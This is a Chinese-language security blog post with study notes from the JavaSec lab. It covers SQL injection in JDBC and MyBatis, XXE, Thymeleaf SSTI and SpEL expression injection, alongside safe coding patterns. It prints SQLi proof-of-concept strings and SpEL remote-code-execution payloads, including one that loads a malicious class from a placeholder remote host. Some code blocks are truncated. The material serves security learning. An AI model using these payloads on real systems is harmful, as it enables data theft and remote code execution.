JavaSec-SpEL&SSTI&XXE&JDBC&MyBatis
# JavaSec 靶场
# SQL 注入
# JDBC
1、采用 Statement 方法拼接 SQL 语句
2、PrepareStatement 会对 SQL 语句进行预编译,但如果直接采取拼接的方式构造
SQL,此时进行预编译也无用。
3、JDBCTemplate 是 Spring 对 JDBC 的封装,如果使用拼接语句便会产生注入
安全写法:SQL 语句占位符(?) + PrepareStatement 预编译
# Mybatis
MyBatis 支持两种参数符号,一种是 #,另一种是,#使用预编译,使用拼接 SQL。
Mybatis 模糊查询: Select * from users where username like ‘%#{username}%’
在这种情况下使用 # 程序会报错,把 # 号改成 $ 可以解决
但是如果 java 代码层面没有对用户输入的内容做处理,那么将会产生 SQL 注入漏洞。
正确写法: Select * from users where username like concat (’%’,#{username}, ‘%’)
Like 注入
模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%${q}%' 从而造成注入.
POC: xxx%’ union select database(),user(),@@version,4,5 – -
order by 注入
由于使用 #{} 会将对象转成字符串,形成 order by “user” desc 造成错误,因此很多研发会采用 ${} 来解决,从而造成注入.
POC: id and (updatexml(1,concat(0x7e,(select user())),0))-- -
in 注入
in 之后多个 id 查询时使用 # 同样会报错,从而造成注入.
POC: 1,2,3) and (updatexml(1,concat(0x7e,(select user())),0))-- -
# XXE
XML 外部实体注入,当开发人员配置其 XML 解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。
XMLReader
DocumentBuilder
SAXReader
Unmarshaller
1 | /** |
SAXBuilder
# SSTI
thymeleaf 模版注入
JAVA-SpringBoot&MyBatis&Thymeleaf - Fc04dB’s BLOG
# SpEL
Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。
SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。
一、表达式: 表达式是表达式语言的核心,所以表达式语言都是围绕表达式进行的,从我们角度来看是 “干什么”;
二、解析器: 用于将字符串表达式解析为表达式对象,从我们角度来看是 “谁来干”;
三、上下文: 表达式对象执行的环境,该环境可能定义变量、定义自定义函数、提供类型转换等等,从我们角度看是 “在哪干”;
四、根对象及活动上下文对象: 根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象,从我们角度看是 “对谁干”。
1 | 1.首先定义表达式:“1+2”; |
玩转 Spring 中强大的 spel 表达式!- 腾讯云开发者社区 - 腾讯云 (tencent.com)
[Java 安全] Spring SPEL 注入总结 & 回显技术_spring spel 表达式注入 - CSDN 博客
注入点 (payload):
1 | ExpressionParser parser = new SpelExpressionParser(); //创建spel解析器 |
1. 利用 ProcessBuilder RCE
1 | new ProcessBuilder("cmd","/c calc").start() |
2. 利用 Runtime RCE
1 | T(Runtime).getRuntime().exec("calc") |
3. 利用 ScriptEngine RCE
1 | new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');") |
4. 利用 URLClassLoader 远程加载恶意类
在 vps 上托管恶意类,然后注入
1 | new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://ip:prot/Exp.jar")}).loadClass("Exp").getConstructors |
[Java 安全] Spring SPEL 注入总结 & 回显技术_spring spel 表达式注入 - CSDN 博客
由浅入深 SpEL 表达式注入漏洞 - Ruilin (rui0.cn)
SpEL 支持以下功能。
- Literal expressions
- Boolean and relational operators
- Regular expressions
- Class expressions
- Accessing properties, arrays, lists, maps
- Method invocation
- Relational operators
- Assignment
- Calling constructors
- Bean references
- Array construction
- Inline lists
- Ternary operator
- Variables
- User defined functions
- Collection projection
- Collection selection
- Templated expressions
# .SpEL 语法
SpEL 使用 #{...}
作为定界符,所有在大括号中的字符都将被认为是 SpEL 表达式,我们可以在其中使用运算符,变量以及引用 bean,属性和方法如:
引用其他对象:
#{car}
引用其他对象的属性:#{car.brand}
调用其它方法,还可以链式操作:#{car.toString()}
其中属性名称引用还可以用 $
符号 如: ${someProperty}
除此以外在 SpEL 中,使用 T()
运算符会调用类作用域的方法和常量。例如,在 SpEL 中使用 Java 的 Math
类,我们可以像下面的示例这样使用 T()
运算符:
#
T()
运算符的结果会返回一个 java.lang.Math
类对象。
Class expressions
1. 类类型表达式
SpEL 中可以使用特定的 Java 类型,经常用来访问 Java 类型中的静态属性或静态方法,需要用 T()
操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL 内置了 java.lang
包下的类声明,也就是说 java.lang.String
可以通过 T(String)
访问,而不需要使用全限定名。
因此我们通过 T()
调用一个类的静态方法,它将返回一个 Class Object
,然后再调用相应的方法或属性:
如:
1 | ExpressionParser parser = new SpelExpressionParser(); |
2. 类实例化
使用 new 可以直接在 SpEL 中创建实例,需要创建实例的类要通过全限定名进行访问。
1 | ExpressionParser parser = new SpelExpressionParser(); |
Method invocation
方法使用典型的 Java 编程语法来调用。
1 | // string literal, evaluates to "bc" |
Calling constructors
可以使用 new 调用构造函数。除了基元类型和字符串(其中可以使用 int、float 等)之外,所有的类都应该使用完全限定的类名。
1 | Inventor einstein = |
Bean references
如果解析上下文已经配置,则可以使用 @
符号从表达式中查找 bean。
1 | ExpressionParser parser = new SpelExpressionParser(); |
Variables
变量定义通过 EvaluationContext
接口的 setVariable(variableName, value)
方法定义;在表达式中使用 #variableName
引用;除了引用自定义变量,SpEL 还允许引用根对象及当前上下文对象,使用 #root
引用根对象,使用 #this
引用当前上下文对象。
1 | ExpressionParser parser = new SpelExpressionParser(); |
在 SpEL 中比较常见的用途是针对一个特定的对象实例 (称为 root object) 提供被解析的表达式字符串,当我们把 context
的 root object
设置为一个对象时,我们在取的时候可以省略 root 对象这个前缀了。如下:
首先定义一个类
1 | public class A { |
设置 root object
后 SpEL 执行以及结果如下
1 | A a=new A("ruilin"); |
这里在执行表达式时,SpEL 会在内部使用反射从根对象中获取 / 设置属性的值。
User defined functions
用户可以在 SpEL 注册自定义的方法,将该方法注册到 StandardEvaluationContext
中的 registerFunction(String name, Method m)
方法。
如:
我们通过 JAVA 提供的接口实现字符串反转的方法。
1 | public abstract class StringUtils { |
我们可以通过如下代码将方法注册到 StandardEvaluationContext
并且来使用它
1 | ExpressionParser parser = new SpelExpressionParser(); |
Templated expressions
表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用 #{}
作为分隔符。
如:
1 | String randomPhrase = parser.parseExpression( |
该字符串是通过连接文字”random number is” 与 计算表达式的 #{}
定界符获取的结果,在此情况下的结果 中调用一个随机 () 方法。第二个参数的方法 parseExpression()
是类型 ParserContext
的。在 ParserContext
接口用于影响如何 表达被解析,以便支持所述表达模板的功能。的 TemplateParserContext
的定义如下所示。
1 | public class TemplateParserContext implements ParserContext { |
# SpEL 导致的任意命令执行
从上方功能的类类型表达式示例中,我们可以看到成功执行了系统的命令,而这也就是整个 SpEL 安全中造成 RCE 漏洞的区域。因为在不指定 EvaluationContext
的情况下默认采用的是 StandardEvaluationContext
,而它包含了 SpEL 的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
其中容易造成漏洞的两个位置是
1. 针对一个特定的对象实例提供被解析的表达式字符串
如之前用法示例中 Variables 所介绍,可能造成指定属性名被构造成恶意代码
2. 双重 EL 表达式评估
常用 payload
1 | ${12*12} |
1. 利用反射构造
1 | #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime") |
2. 利用 ScriptEngineManager 构造
1 | #{T(javax.script.ScriptEngineManager).newInstance() |
- Title: JavaSec-SpEL&SSTI&XXE&JDBC&MyBatis
- Author: Fc04dB
- Created at : 2024-09-10 21:03:29
- Updated at : 2024-09-12 16:37:19
- Link: https://redefine.ohevan.com/2024/09/10/JavaSec-SPEL-SSTI-XXE-JDBC-MyBatis/
- License: This work is licensed under CC BY-NC-SA 4.0.